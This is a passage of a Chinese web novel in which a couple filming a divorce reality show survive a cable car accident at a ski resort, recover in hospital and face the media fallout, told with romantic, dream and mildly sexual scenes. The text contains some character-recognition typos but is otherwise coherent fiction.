对方先是独自躺了一会儿,等到自己的手脚都暖了才慢吞吞地挤进时蔺川的怀中,呼吸潮湿温热,唇瓣情不自禁地贴上他的耳垂,轻轻含了几秒,才放开。 潮湿的耳垂离开暖地,被冻得发红了。 时蔺川忍不住抱怨一声, “冷死了。 “大半夜的,你干什么? 屋内寂静。 男人的声音很低,却恍如惊雷落地 谢景和发现他醒着,声音也不似被吵醒的迷蒙沙哑,动作不自觉地变大了,随后摸黑对着男人的耳垂吻了几下,已读乱回地道:“我想你了,想你想得睡不着。 话毕,他又长舒了一口气,感概道:“还好你没锁门,不然我都不知道该怎么进来找你,“说着说着,他猛地卡壳,然后语气有些微妙地问道,“蔺川,你是不是.….? 时蔺川当即回答:“不是。 谢景和抱着他,嘟囔道:“我还没说完。 时蔺川侧过身,抬手捂在他眼睛上,很不爽地催促道:“话不要那么多,快点睡,都几点了? 谢景和乖乖噤声。 没一会儿。 他的呼吸变得绵长。 然而,时蔺川却怎么都睡不着了。 他很费劲地把自己的胳膊从谢景和的怀里抽出来,无声下床,披上外套,然后将窗打开一条极其细窄的缝隙,点了一支烟。 其实他抽烟并不频繁。 但近月来,他抽烟的次数越来越多,最近已经发展到只要他一看到谢景和那张傻不溜天的脸, ,就忍不住喉舌发紧,需要尼古丁来帮助大脑保持往日的镇定, 似乎没什么用了。 时蔺川望着窗缝外的雪景,呼出一口灰白烟雾,下意识地回头望了一眼被子里的那道人形轮廓。 屋中昏暗。 谢景和睡得很沉,头发翘起来。时蔺川隐约瞥见半截耳朵尖从中探出来,莫名想让人啃上一口,尝尝味道. 他不由自主地笑了一下。 清清淡淡。像雪,又像雾。 可是雪会融化,雾会散开,一旦天亮,他就不会对清醒状态的谢景和露出这样的笑了——因为时蔺川是个胆小鬼,不敢也不能承认自己被某个存在真真切切地俘获了整颗心。 否则,包裹着心脏的魔法会失效。 而他不愿意承担心脏被腐蚀的痛苦 尽管谢景和已经快要把他躯壳里的血骨脏器掏得一干二净,只给他留下薄薄一层外壳,可时蔺川还是不肯就此认输。 他可以死,但不可以碎。 “呼。 最后一口烟湮灭在冷空气中。 时蔺川将窗缝闭合,轻手轻脚地走到床边,蹲下身,伏到沉睡之人的耳边,轻声道:“真讨厌你啊,从第一次见开始。 他盯着这人好一会儿,终于忍不住了,忽然张开嘴巴将那半截耳尖叼在齿间,轻柔地左右研磨了两个来回,似乎真的尝到了一丝丝甜味。 墙角的固定摄像头早就被他用毛巾盖上了。 …就当是顺手吧。 翌日。 经过一天一夜的休整,节目组整装待发,准备推进本周的直播与录制工作。由于国内外的时差问题,直播间的上下播时间进行了相应的调整,时长也有所缩短。 经过技术推演,直播人气的影响尚在可控范围内。 因为转换成国内首都时间,直播间开播的时间延迟到晚上六点,正是不同年龄群体的休息时间最为重合的时间段,再加上前一周的人气积累 起码稳住水平线是没有问题的。 相应的,未播出的素材也会变多,有利于后续吸引观众 进行过一轮小游戏后,三组嘉宾得到不同的分数,工作人员按照不同的分数,给每组嘉宾送上不同厚度的信封,以及相同型号的便携式相机 待嘉宾吃完早饭,导演组cue起了流程。 “里面装的是伴侣们今日一整天的旅行资金。 当天的任务只有一个:伴侣们需要合理利用这笔钱,在外面渡过愉快的一天,地点不限,内容不限,并拍下打卡合照. 本周的主题,叫做[回忆]。时蔺川捏着三组中最为宽厚的信封,随手将其塞入谢景和的外套口袋里,很无所谓地问道:“去哪儿?"谢景和神情兴奋,反问:“你想去哪儿?"在此前三年的婚姻生活中,他时常提出想跟丈夫出门旅游,但时蔺川总是拿他的公众身份做借口,或是扯谎说公司领导批不了假,一次次地拒绝谢景和的邀请。被拒绝后,谢景和很失落。 但他也很好哄,只要时蔺川将他抱在大腿上颠个几分钟,他就乐得找不到北了,完全想不起来原来的打算 下足一夜的雪终于累得歇了。 时蔺川仰着脸,余光警见不远处那座白茫茫的雪山,冷不丁提议道:“去滑雪吧。 闻言,谢景和抿着下唇,应道:“我不会滑雪" 时蔺川拽着他的袖子,直接将人拉走。“我会。谢景和惊讶又好奇地扭头看他,追问:“我以前都不知道,原来你喜欢滑雪?时蔺川淡声道:“不啊,我讨厌。两个男人的体重都不轻,在雪中踩出两串深深的脚印,还发出有些刺耳的嘎吱嘎吱声。他们一路向雪白的山巅进发,像是不小心掉到雪顶冰淇淋里的两粒糖果,渺小又可爱领口的毛绒球被风抚摸着,飞了起来。雪山看着近,实则遥远。山上时,两人不约而同地往缆车售票窗口走去,在询问完价格后,毫不犹豫地用充足的经费买了一张双人轿厢票。跟拍师则买了后一班的票。 这个点,游客尚且不多。 两人只等待了几分钟就上了双人轿厢. 经当地工作人员介绍,这种轿厢是用特制的高密度玻璃制成的,安全性毋庸置疑,且六面透明,可以从各个角度观赏雪景,是伴侣的最佳首选 作为时常吊威亚的演员,谢景和自然不畏高。而时川在原世界不仅玩滑雪,还时常进行高空蹦极,眼下这点悬空感更是小事一桩 嗡地一声。 工作人员按下拉闸。 轿厢启动,顺着滑轨往山上移动。 半途中,时蔺川坐在座椅上,双手环臂,侧着脸往外看。谢景和正抱着他的左半边路膊,另一手高举卡片相机,一个劲儿地喊他,“你把脸招过来,节目组让我们随手记录快乐瞬间 男人不理他。 137、Chapter 137 话音刚落。正以匀速朝高处移动的双人轿厢冷不丁地停住了,惯性使厢内两人不由自主地晃了一下,时蔺川连忙反手将谢景和往自己怀里楼,同时拾头看了一眼头顶,脸色格外凝重幸而轿厢是全透明的,视线畅通无阻。因此,时蔺川清晰地看见-悬在轿厢上空的两根缆绳本该处于绷直状态,如今左边那根缆绳却异常地松弛下来,从而导致轿厢的重心产生了偏移。左半边微微下坠。 正好是谢景和所在的那一侧。轿厢在半空中左右晃动着,两人飞速对视一眼,神情皆是沉凝。时蔺川前后扫视了两个来回,将观测到的现象说出来,“整条索道都卡停了,不知道是不是工作人员手动暂停的,但如果是意外的话,说不定用不了几分钟,这条缆绳会彻底断裂“到时候肯定会更危险。”言下之意:轿厢可能会从高空坠落。由于森林雪山特殊的地形地貌,轿厢悬得很高,距离地面大概有二十米,将其换算成楼层高度约莫有六到八层楼那么高。 时蔺川敛眸下瞥。 雪地一片白皑皑。 零星几处,露出了冰冷的山石颜色, 当意外发生时,原本让人感到心旷神怡的大自然风光摇身一变,变成了教人心惊胆颤的致命危险。 谢景和已经顾不得拍照这回事了,他一手反抱着男人,另一只手飞快地确认着两人腰间的安全卡扣,随后紧紧抓住旁边的把手,也说出自己观察到的情况。 “我们的跟拍pd就在后面,我看到他们举着手机,应该已经报警叫救援了,就是不知道出警速度够不够快,现在.… 话没说完,两人忽然听到前头爆发出一道充满惊恐的凄厉尖叫,下意识地循声睨过去,发现声音的来源是在他们之前乘坐上轿厢的一对父子。 发出喊叫的正是看起来只有十三四岁的小少年。 少年的情绪很激动,指着松垮的缆绳一个劲儿地高嚷,身旁的父亲将一手举到耳边,看样子应该也在打电话求救。 说话声顺着风飘了过来。 唯独时蔺川和谢景和两个人通讯设备全无,只好沉默地被困在透明轿厢里,警惕地观察着前后情况,以及一动不动地等待救援。 半山腰滑雪场里的游客似乎也察觉到不对劲,不约而同地停下了玩乐,三三两两地聚在一处,抬头朝上空看,肢体动作很夸张。 空气里充斥着嘈杂的声音。 惊慌在蔓延。 偏偏在这紧张时刻,天空居然悠然地下起了小雪。 每一粒雪花都轻盈极了,仿佛有一只看不见的手托举着它们,使它们安闲地沉浮飞荡,仿若风中的精灵,围绕着两人旋转降落。 时蔺川莫名感到讽刺。 谢景和跟他紧挨,微翘的发丝搔动着他的下巴。时蔺川忽然扯了扯嘴角,一声轻笑被他从嗓子眼里挤了出来,“谢景和,你好像快要被我害死了……" 沉默几秒。 那人闷声应道: “不要乌鸦嘴,我们很快就能下去了。 不知道到底谁才是乌鸦嘴,就在谢景和说完那句话的下一瞬,远处滑雪场的人群中突然异口同声地发出惊叫,其间夹杂了几个带有浓重当地口音的单词。 但时蔺川已经无暇关注了。 “哧呀!" 伴随着少年惊惧的叫喊,左侧缆绳终于彻底断丌,仅剩的右侧缆绳不堪负重,被整条索道上的轿厢与乘客拉得稍稍下落,宛如一条挂满了琥功坠了的项链 坠子里头封存着无法逃脱的活物,每一张脸都写满了诧然和恐惧。 时蔺川以为自己会是例外。 然而,刹那之间。 前面那对父子乘坐的轿厢毫无预兆地失了控,仿佛被命运之手轻轻一推,猛地往下滑落,以惊人的速度和质量飞速撞上他跟谢景和的缆车轿厢! “砰——!" 惊叫从每一个方向传来,此起彼伏。 可时蔺川什么都没听见。 他只听到了一阵尖锐的耳鸣自身体深处冒出来,眼前的景象仿佛被施加了延时魔法,每一秒都被切割成漫长的不等分画面,像是电影里的慢动作镜头 他看到雪花遭到冲击,齐刷刷地掉头逃离。 他看到透明的防护罩碎裂了一角,门框被撞得变了形,整块玻璃门从半空中掉落,而谢景和腰间的绳扣被用断,他空白的表情在时蔺川眼前飞速闪过,整个人便猝不及防地往下坠. 重力拉着他的脚,用力拽! 时蔺川什么都没有做。 他以为自己什么都没有做。 直至瞬息片刻。 一阵来白臂膀的剧痛将他唤醒。 "抓紧我。" 时蔺川的思绪空白了一秒,由于浑身用力过度,青筋爬满他的额角与颈侧,以至于说话都变得困难,需要咬紧牙关,再从唇缝间奋力地退出来. “别放手!" 眼下的情况却跟他所说的话截然相反一 谢景和以一种很危险的方式悬在半空,他的表情凝滞,瞳孔急剧收缩,而时蔺川正用一只手拽着把手稳定自身,另一手则牢牢攥着他的小臂,指关节紧扣,。 点点血色飞溅而下,看不清来处。 刚才的一切发生得太快了。 被撞碎的玻璃碎片宛如杀伤力极大的刀片,不分敌我地往两人身上刺,好在天气寒冷,两人穿着厚实,可面部却没有任何保护措施 谢景和只看到一块刃形玻璃往男人裸|露在外的脸侧扎去,下意识地松开了环在对方腰间的手,替男人挡了一下。 比疼痛更快袭来的,是坠空感。 只一秒。 …时蔺川抓住了他。 男人的眼镜在刚才的撞击中掉落,五官再无遮掩,清楚明白地落入谢景和的眼中。 大概是因为肌肉爆发出不可思议的力量,从而导致男人现在的表情相当难看,不见一丝平日里的冷漠与淡然,甚至有些扭曲,那双狭长服瞪得很圆,眼珠子像是快要掉出来。 很快。 男人的眼白爬满血丝,似炸开的红线。 他憋着气,说话时,一个字一个字往外吐。 "看我,别往下看。” 谢景和的视线擦过他颈侧一道细长的裂口,血珠从口子里争先恐后地涌出来,转眼便被这冰天雪地的气候冻住,就此凝结成形,成了男人皮肤上的一道血色裂痕,上前方的父子俩儿也受了伤,正哭成一团。男人嗓音粗犷,连声骂着F开头的单词,尾音颤抖。 不幸中的万幸是 轿厢撞击并非连环事件,没有诱发更糟糕的局面。 但是,现在好像已经是最糟糕的局面了。 谢景和如此想着,目光一点点地上移,同时极其缓慢地拾高另一只手臂,想要摸到可以借力的地方,然而轿厢裂口的边缘离他太远了,指尖绷直了,还差诉一厘米才能碱到)。 碰到也没用。 边缘曲折锋利,握都握不住。 而时蔺川 大概没办法将他凌空提起来。 他太重了。 不知道过了几秒,还是几分钟。 谢景和感觉不到时间的流逝,却突然感受到一阵微弱但持续的震颤顺着男人的手掌,透过布料,传递至他的小臂,最后再顺着脉搏,钻入了自己的心脏。 头顶的男人像是一张细到极致的弓,头发丝似乎都在使劲儿。他凭借单手的力量硬生生拽住了一个悬空的成年男人,可人的生理是有极眼的,因此诱支的身体正在朝主人疯狂抗议。 累了、痛了、快要拉不住了。 气温低得可怕,男人出了满头的汗。 豆大的汗珠顺着引力往下坠,无人拉扯,眨眼间便寻不见。 谢景和努力保持冷静,不想给男人添加更多的负担,余光却恍然警见对方腰间安全扣的基座在刚才的撞击中也有了一定的损伤,或许是因为负重过深,那道破损口正在一点点扩张 紧接着,他违背了男人的命令,低头往山脚下看去。 万物苍白而皎洁。 穿着亮橘色制服的救援队员终于赶到了。 十几个橘色人影正带着阻力网和未充气的救援垫飞速赶来,却跟情况最危机的两人仍有一段不短的距离. 太远了。 谢景和仰起脸,只听到男人无比沉重的呼吸声,视线再次扫过对方腰间那条愈发变形、看起来坚持不了太久的安全绳扣.….”嗬,嗬。” 时蔺川的脸和脖子涨得通红,眼底出血。 时间失去概念。 他只是觉得自己的身体与灵魂似乎快被撕裂开了,又痛又累,每一个细胞都在大声地催促着 放手。 放手啊! 时蔺川充耳不闻,背弃了本能. 他对谢景和说, “别放手。" 他又对自己说, “别放手。" 倏然间。 他好像听到谢景和在说, ".没关系的,你可以放手。"这人终于学会了听话,双眼紧盯着自己,没有再四处乱瞟。他的嘴巴微张,呼出一口热,随口抱怨似的说着“我太重了。" 时蔺川瞪着人,声带似乎也紧绷。 “闭嘴!" ….谢景和算是走好运了。 谁让他现在骂人都没力气 可这个傻子还不肯消停,神情怔忪,一个劲儿地盯着自己看,视线片刻不移,像是想要铭记什么,又像是想要告别什么,然后又说了些无关紧要的废话。 也可能不是废话。 但时蔺川一个字都没听进去 因为耳鸣声实在太尖锐了。 又不知道过了多久。 下方传来数道嘈杂的喊话声,英文里夹杂着零星几个别扭的中文字眼,时蔺川深陷一片空泛的恍惚中,似乎又听到谢景和旧话重提。 这一回,他的声量很大。 “_-蔺川!" “蔺川放手啊!底下有气垫!" 时蔺川像是个被喊回了魂的野鬼,他很艰难地移动了一下眼球,发现下方的雪地支起了一张大网,网下还有一层鼓鼓囊囊的垫子,周遭围了一圈人,仰着脑袋冲他挥手。 时蔺川有点怀疑这是大脑产生的幻觉。 谢景和带着哭腔喊他, “你放手啊,你眼睛出了好多血!" “我不会有事的! 时蔺川觉得这个人真的好吵,终于不耐烦地松开了手——抓着把手的那只,早就处在岌岌可危边缘的安全绳扣发出嘶啦一声尖叫,松开了他的腰,任由他下坠 是幻觉的话, 也无所谓。 砰的一声。 两个人重重砸在气垫上。 138、Chapter 138 整场缆车事故中,最为惊险的一幕发生了。无论是被困在轿厢内的受害者,办或者底下旁观的游客,以及其他相关人士,视线都不约而同地聚集在那两个同时坠空的男人身上,尽管雪地上方已经支起了双层防护,众人仍旧下意识地倒吸了一口凉气,直至其中一人揽着另一人以脚落地,双双翻滚了几圈,卸去了大部分坠空的冲击力,避免了惨剧的发生这口气才慢半拍地喘了出来。刚才的一切发生得极快,仅在瞬息之间。 下一秒。 四下响起惊叹与叫好声! 见两人安全着陆,围绕在气垫周造的救援队、景区设施负责人、吓得脸色发白的节目组工作人员一同拥了上去。小姑娘都快急哭了,扯着嗓子问道:“谢哥!时哥没事吧?你们两个都还好吗?! 谢景和摔得发懵,浑身泛着一阵隐痛, 他先一步坐起身,来不及回答同行工作人员的问题,忙不迭低头去确认身边伴侣的情况。 男人就躺在自己身边,箍在自己小臂间的手仍未松开,那双充血的眼睛闭起来了,久久没有睁开 谢景和的表情凝滞,变得空白,动作却是迅速而利落的。 他突然抬手,在男人的鼻下确认了一下。 指尖传来均匀的热感. 刹那间,卡壳的世界恢复了运转。 这时,谢景和才发现黎医生不知道什么时候挤了过来,飞快地检查着男人的状态,随即,冲自己沉声道:“别急,可能是过度劳累,再加上精神紧绷,所以昏迷了 谢景和红着眼眶,使劲地点了点头。 由于许多游客此时仍困于空中轿厢内,救援队人手不足,最先下来的两人被景区的工作人员用担架拾到了救护车内。 经过短暂商讨,节目组这边,由随行医生黎焕跟车陪同,另外两个小姑娘留下确认被困跟拍师的情况。景区负责人则自行驱车跟随。 救护车上。 黎焕熟练地用外语跟医护人员交流,配合着对方,给两位伤员接上检测仪器,确认伤情,又废了一番功夫才分开两人交握的手与臂。 男人分明陷入昏迷,潜意识却给身体下达着指令。 别放手。 谢景和的冷静与灵敏似乎在坠落那一瞬间消耗殆尽了,进入安全环境的他神情怔讼,视线全程落到男人身上,似乎分不出一丝丝心神给外界,也看不到自己小臂上那一圈发黑的印子。 胎记一般的黑紫色,深深烙在他的皮肤上。 他甚至不太敢眨眼。 生怕一眨眼,男人就会变成泡沫消失不见。 黎焕注意到他的表情,一边跟当地医护人员说着话,另一边对谢景和交代起男人的情况,语气温和且耐心。 比起之前要命的险情,两人的伤势似乎算不得重 尽管皮肤外露的部位有着程度不一的碎玻璃划伤,好在都没有伤在要处,最严重的一道伤痕在谢景和的右掌心处 创口很长,将三条掌纹齐齐划开。 看样了最少需要缝个六七针。 昏迷中的男人眼底充血,颈侧皮下冒出无数小血点,密密麻麻,尤为恐怖,手臂的韧带与肌肉更是严重拉伤,关节也有一定的损伤,并且目前还不能排除脑震荡的可能性。 路来到医院。 待两位伤者结束了全套检查,作为陪同人员,黎焕翻阅着两份检查报告单,很无奈地对着其中清醒的那一位说道:“谢先生,你的左小腿骨裂了,难道你都没感觉到异常的疼痛吗? 谢景和愣了两秒,才应道: "好像是有点。” 迎着那双不甚在意的深速眼眸,黎焕顿了顿,如对方所愿地说起了另一人的检测结果,“非常幸运的是,时先生没什么大问题,脑部扫描也没有显示任何淤血阴影,看来确实是因为脱力才陷入了昏迷。“大概率在二十四小时内苏醒。"说完,黎焕安静了一小会儿,继续道:“对于他这种没有长年累月进行职业化力量训练的人来说,单手提拉一个成年男性这么久的时间,简直是个奇迹见谢景和再度抬眸看过来,黎焕没往下说,只是微微笑了一下。 谢景和却懂了。 他笃信地点了点头,不知道第几次说着, “蔺川对我真的很好。 还有一句话,谢景和没有说出来。 男人对自己好,是真的 想跟自己离婚,好像也是真的。谢景和如此想着,心里却没有被熟悉的惶恐和压抑淹没,反而平静如水,仿佛有什么东西拦住了风,使它在岸边止了步,从而荡不起心湖的一丝丝波澜,在焦灼难耐的等待中,他感到平静。 是血。 一大片红得快要烧起来的血,雪地被血液浸透了,呈现出草莓汁液般的清透感。而谢景和赤(身裸|体地躺在他自己汇流成的血泊里,那双深情眼望着天,两个瞳孔扩张成大大的圆形,没有光。布这瞬间。时蔺川无比清晰地意识到,自己正在做梦。他站在尸体的旁边,似乎扮演着一个无关紧要的过路人,审视的目光从地上那具尸体的头顶扫到足尖,每一处的细节都能跟记忆中的模样相对应,分毫不差。头顶的发旋。 藏在眉毛里的小痣。 皮肤上的每一道旧痕。 以及,点缀在他左腿根部的名字。时蔺川蹲下身,视线落到尸体细瘦的脚踝,再往下,是圆润白嫩的脚趾,透着淡淡的粉。形状很好看,力道也不小。此前在洗江的某个夜晚,谢景和手腕的伤未愈,仍需要自己帮他洗澡。淋浴过程中,他曾语气恶劣地数落谢景和不仅喜欢踩别人的脚,还那么爱夹人,适合去工地踩水泥。其实是开玩笑的 他觉得很可爱。 谢景和的脚趾真的很灵活。 两人在客厅的长沙发做了两回,他靠坐在沙发背里,一条腿难得没有风度地踩在沙发边缘,享受事后的精神舒糜谢景和浑身痕迹,既羞涩又坦荡,正躺在他的另一条腿上,整个人懒洋洋地卧在沙发上,两只小腿很没形象地架在沙发背上。 很久以前,某个风和日丽的下午。 说话时,嗓音略微嘶哑。 “蔺川,我给你表演一个才艺。"” 闻言,时蔺川扭头看他。 就见这个人当场表演了个脚趾开花,然后十分灵活地在弹起了空气钢琴,还尽职尽责地解说道: “这个是《小星星》,我厉害吗?" 时蔺川仔细看了几秒,发现还真是。 然而还没等自己夸他,谢景和已经自顾自地笑起来了,颈侧与鬓边的薄汗让他看上去亮晶晶的,却怎么都亮不过那双眼. 眼里倒映着男人的身影。 在他眸中,时蔺川看到了自己的假笑。 他时常有一种感觉——这个世界真是不可理喻,荒谬至极。 自己在十几岁的时候就能流畅完整地弹奏出自李斯特、卡农等大师之手的高难度钢琴曲,心里却只有厌烦和无趣,而眼前这个人只是用脚比划出《小星星》的几个小节,居然能快乐得如此纯粹。 还有脸找自己要夸奖? 嫉妒是毒蛇,阴冷毒蛇噬咬着他的心;愤怒是烈火,熊能烈火焚烧着他的理智.…在看不见的角落,时随川偶尔心生美幕,别别扭扭,对自己也不肯承认,只一个劲儿地忽视它。 偶尔的,非常偶尔,他会羡慕谢景和能这么坦率,喜欢就是喜欢,讨厌就是讨厌,活得像个人 不像自己。 他是狗。巴甫洛夫的狗。 时蔺川忘了当时自己有没有给予谢景和他想要的夸奖了,但他清楚地记得那阵来自内心深处的隐痛,无处抒发和解脱。于是他笑着,轻柔地捞过那人的后脖颈,调转方向 不容拒绝地、将他的脸往自己。下按。 真好。 谢景和现在也像一条狗了。 他的专属贱狗。 那时候的他,如此卑劣地想着。 梦里,时间失去了概念。 时蔺川坐在尸体旁,心里没有一丝丝动容。 他知道这不是谢景和。 谢景和是活生生的,会喘气,有温度,眼睛很亮。他在的地方有明媚的阳光,空气也热闹,永远不必担心感到寂真 因为他会大吵大闹地说 “我爱你,我真的爱你。 以至于时蔺川重复了千遍万遍“我讨厌你”,魔法却不肯对那个人生效,导致他数次想要落荒而逃,不愿意面对接下来注定的败局。 他不能输。 倏然间,梦里无边无际的雪融化了,可尸体还躺在那里。时菌川看到自己的面前筑起高墙,阴森的古堡冰冷厚重,隔绝了所有光亮,荆棘爬到他的脚边,像无数条嘶嘶叫唤的蛇。 眼前的一切,是那样扭曲。 正如他的心。 就在这时候。 时蔺川突然听到尸体说话了。 “没关系的。" “蔺川,你现在可以松开我的手。 空气沉寂,时间骤停。 时蔺川的脸上什么表情都没有,他只是发了很久的呆,然后无比疲惫地应道:“你以为我不想? "我只是做不到。” 话音刚落。 整个梦境世界开始大地震,发出轰隆隆的巨响。与此同时,畸形扭曲的城堡逐渐崩塌,长着尖刺的荆棘被地火烧得一干二净,厚重的地面裂开深坑 株陌生的植物从坑里颤颤巍巍地挺起了腰,向主人彰显着自己的存在感,花苞鲜艳娇嫩,幽香盖过了硝烟尘士味。 时蔺川垂眸凝视着它,从来没有怀疑过它的米处与物种!——梦里梦外两个世界,大概没有人比他更清楚明白了。 这是谢景和不经意在他心里撒下的种子,被自己有意无意地忽视数年,打压数年,却顽固地生了根,发了芽. 在这一刻。 时蔺川终于迎来了它的花期 他不得不正眼看它。 世界在崩塌。世界也在重构。 时蔺川只是静静地坐在这里,任由它折腾得天翻地覆,不再像以前那般气急败坏地阻止,而是无力地旁观着,一副束手就擒的模样。 良久。 他哑着声儿,用很小的音量说: “谢景和。” ’——我有点害怕。“ i.e1昏黄光线钻进男人的眼皮,硬生生地撬醒了他的意识。时蔺川恍然睁开眼,眼皮与底下球体产生了巨大的摩擦力,仿佛某个不知名的存在往里墳埋了一整片荒漠 无比干涩。窗外的夜深了。双人病房里静惟时蔺川眨了眨眼,忽然听到门口传来一阵整脚的中式英语,语法稀碎,一个简单的句子说得磕磕巴巴,很不自然.他相过头,就见谢景和挂着拐站在病房门口,左小腿打了石膏,右手包得比之前更像猪路,正用手辅助比划着,询问查完房准备离开的女护士,“时间已经过去很久了,为什么我的丈夫还没有醒过来?“要不要再做个检查?"护士勉强听懂了,张嘴就是几个流利的长句子,以做回应。谢景和沉默片刻,然后嗯了几声,似乎正在绞尽脑汁地翻译,思考自己该如何表述时蔺川忍不住笑了两声。音量极其低微。 门口那个人当即转过身来,眼睛睁得很圆,半响没说话,似乎有些近乡情怯。时蔺川闭了闭眼,缓解干涩,然后神色平静地叮嘱道:“动作慢一点,别把另一条腿也摔断了。 谢景和站在那里,憋了一天的眼泪终于掉下来。 时蔺川侧着脑袋看他,无声叹气。 ".….别哭了。" “你这样子,我不知道该怎么办。" 139、Chapter 139 时蔺川醒得正是时候 网1查完房的护士折返回来,先是将某伤员扶到,他自己的病床上,然后弯腰站在时川的床边,用英语阐述了一遍他的伤情一主要是整条左警与颈侧的肌肉与韧带严重损伤,其次是皮下出血与利器划伤,所幸内部脏器没有暗伤时蔺川很流利地跟她对话,得知由于肌肉纤维与筋膜的斯裂,自己在近几天会感到剧烈的疼痛,恢复期较长,需要进行理疗与静养,可能会影响到接下来数周的工作与生活. 紧接着,护士问他, “先生,你现在是否感到疼痛难忍?”“必要时你可以使用止痛药物。"听到这两句话,时蔺川忍不住用余光警了一眼靠坐在隔壁床的那个人,正巧撞入一双眼眶仍旧微红的眸中谢景和安静地注视着他。时蔺川停顿了两秒, 慢半拍地拒绝了。 老实说,比起他,谢景和似乎更符合护士所说的治疗方案,真不知道这人为什么腿上打了石膏还能满地乱窜的?就不会好好呆着吗? 思及此处。 时蔺川收回视线,将话题引到谢景和身上。 护士显然知晓两人是伴侣关系,低头翻了翻手上的病案本,随即将对方的情况——说明了。 多处玻璃划伤,右掌心缝了七针。 左小臂被掐握出来的淤伤。 左腿轻微骨裂, 需要打三或四周的石膏。 时蔺川算是听明白了。 在多丹拍摄的第一天,他们俩儿都成了需要卧床的病患。 最可笑的是,原著小说里并没有这一场意外故事,是他不知道哪根筋搭错了,摒弃了渣男前大哥在原故事线中的选择,突发奇想地拉着谢景和去滑雪 结果雪没滑上,倒是差点摔死在雪地上。 谢景和确实挺倒霉的。 偏偏遇到他。就是遇到他. 护士交代完两人的详细情况,又从男人的床头柜取出一瓶消炎眼药水,帮他滴完眼药水才离开。 霎时间。 双人病房恢复了"双人’的状态时蔺川躺了一个白天,也睡了一个白天,尽管身体仍旧处于疲劳状态,甚至稍微动一动就引发痛感,但精神确实获得了修养。反观谢景和。在自己醒来的几分钟里,他已经打了两三个哈欠了,每次打到一半就收住,像是过年守岁的小孩儿,困极了也要硬挺着时蔺川神色淡然地看着人,眨巴了两下被药水刺激到的眼,睫毛根部被药液浸透,渗到了眼尾谢景和的骨裂程度很轻微,夜里睡觉时不需要吊高腿,只在床尾垫了个枕头。眼下这人身穿浅蓝色调病服,右手包成猪蹄,左手的手背扎着输液用的滞留针,还很不安分地坐直身,跟他搭话。“蔺川,你怎么样?"他沉默片刻,答道:“我没事,你…”个“你字刚吐出来,眼前的最象让时蔺川的眼皮跳了跳,语气急转直下,后面的语句也变了个模样,"你干什么?老实呆在那儿不行吗?是不是打算参加今年的国际残奥会?刺啦一声。谢景和缩着脖子老实挨骂,动作却丝毫不含糊,下床后拖着椅子坐到男人的床边,才小声顶嘴道:“这才两步路,而且我坐着呢,不会碰到伤处的时蔺川无话可说。 两人互相瞪眼,好一会儿没说话。 半晌。 时蔺川忽然问道:“痛不痛?"原本手腕只是轻微扭伤,都要跟自己来回撒几次娇的人,闻言立马摇了两下脑袋,应道:“不痛,轻伤而已。 又是一阵沉默。 时蔺川敛眸赶人,“回你床上,睡觉去。谢景和又晃着脑袋,说:“我想看看你。早前听护士的描述,时蔺川对自己如今的模样有所预料,顿时应声道:“我现在有什么好看的?不怕做噩梦啊?" 谢景和用实际行动证明了自己的答案。 他没吭声,一眼不错地盯着男人。 某种意义上,谢景和是个非常顽固的家伙。 哪怕是时蔺川,偶尔也拿这人没办法。 “谢景和.…”他闭了闭眼,轻轻叹气,嗓音慵懒嘶哑,成熟又性感,带着浅浅的惑,“你之前在缆车上是不是说想强吻我? 男人掀开眼皮,红与黑的眼眸撞出危险的色调。 一现在,弯腰。 数秒后。 一个极轻、极浅的吻在两人之间发生 实际上,这斥根就不算一个吻,更别提"强吻’二字,仿佛两个未成年嘴对着嘴,柔软的唇瓣碰在一处,格外纯洁 似羽毛与云絮之间的热恋,全程轻悠悠的。 这吻很长,很久。时蔺川抵着谢景和的唇,轻声问道:“现在跟我说实话,到底痛不痛?"谢景和一下下地啄着男人的嘴角,又含住对方干燥起皮的地方,试图将其软化,说话声因此变得含糊不清,“有一点点痛。" 少刻。 谢景和睡着他平躺在病床上,脑袋却朝男人这侧偏过来。他的脸色苍白且疲倦,即使在睡梦中,眉头也微微皱起来,半夜还做了个噩梦,迷迷糊糊地睁开眼睛,嘴里喊着时蔺川的名字。时蔺川看着他,一声声地应着,转眼便被那人的困意感染,忍不住眸,一道睡了过去。这回,一夜无梦。 翌日,上午。 医护人员查过房后,病房里热闹了起来。 节目组的总导演,以及其他几位工作人员前来探望。 总导演将两人的通讯设备带过来了,还把从昨天到今天发生的所有事情交代了一遍。 昨天那场缆车事故的动静不小。 多丹本来就是个注重发展旅游业的国度,游客冬季居多。 事故发生时,在场的不少人都录了视频。某些人将这段视频发到了公开社交平台,引起不少讨论。 如今,已经有媒体报道了这场事故。经当地消防与警方的统一查证,确认了事故的发生源为景区设施老化,被困的游客多达二十几人,其中两个相撞的轿厢里的游客伤势最严重,景区方需要全权负责。没出现死者,已是万幸中的万幸了。跟景区方的交涉,由节目组出面和跟进,倒是不需要时蔺川怎么操心,只是另一方面的麻烦或许更难处理仅一天一夜。 总导演眼瞅着老了好几岁。 尽管节目组反应很快,下架了相关露脸视频,但网络传播的速度是人力追赶不上的,更何况在事发的第一时间,不少国外华人认出了视频里的主角。 消息传回国内,已然炸了锅。 病房内。 靠窗一侧的病床上没有人,被子掀开一角,床尾的垫子中央留有一道下陷的痕迹,约莫十几分钟前,谢景和被护士用轮椅推着带去做个小检查,还没回来, 时蔺川则躺在床上输消炎液。 总导演坐在床边,有点发愁地说:“时总,裴总正在处理事故引发的各方舆论,官方账号已经发布了通告,宣布直播间暂时停播。“有些同行瞅准了时机,背地里带节奏泼脏水儿,咱们行程也暴露了,尤其谢影帝的粉丝情绪特别激动." 时蔺川正在输液的那只手握着手机,一边跟国内团队通信,一边听总导演叹了一口气,继续道 现在的情况就是一 谢景和的粉丝已经跟节目组干起架来了,要求节目组尽快给大众一个交代,并让谢景和及其伴侣退出录制,安静养伤。事件发生以来的唯一正向奥论,大概就是时蔺川的风评了。偏偏他本人最不在乎这一点,无所谓自己在谢粉眼中是一串……. ,办或是跟自家正主共患难的“伴侣’ 但是, 被谢景和的小粉丝喊''哥夫’,确实有点爽。“时总,你跟谢影帝这边打算怎么办?要中止录制吗?按合同上的条款,这属于不可抗力,不算违约时蔺川接收完裴悦那头发来的信息,将手机息屏,听到总导演问自己,中止录制。 这也是谢粉的诉求。 毕竟当时的情况过于惊险,就算不清楚两人的具体伤势,但只要看完那段长达十一分钟的长视频,没有人会觉得这对离婚伴佀能够继续参与综艺的录制。 差点就活不下来了啊! 作为一手推动这档离婚综艺的顶头老板,时蔺川一马当先,亲自上场参演,短短几天就贡献了不少名场面和流量 当然不是为了博话题和赚钱了。 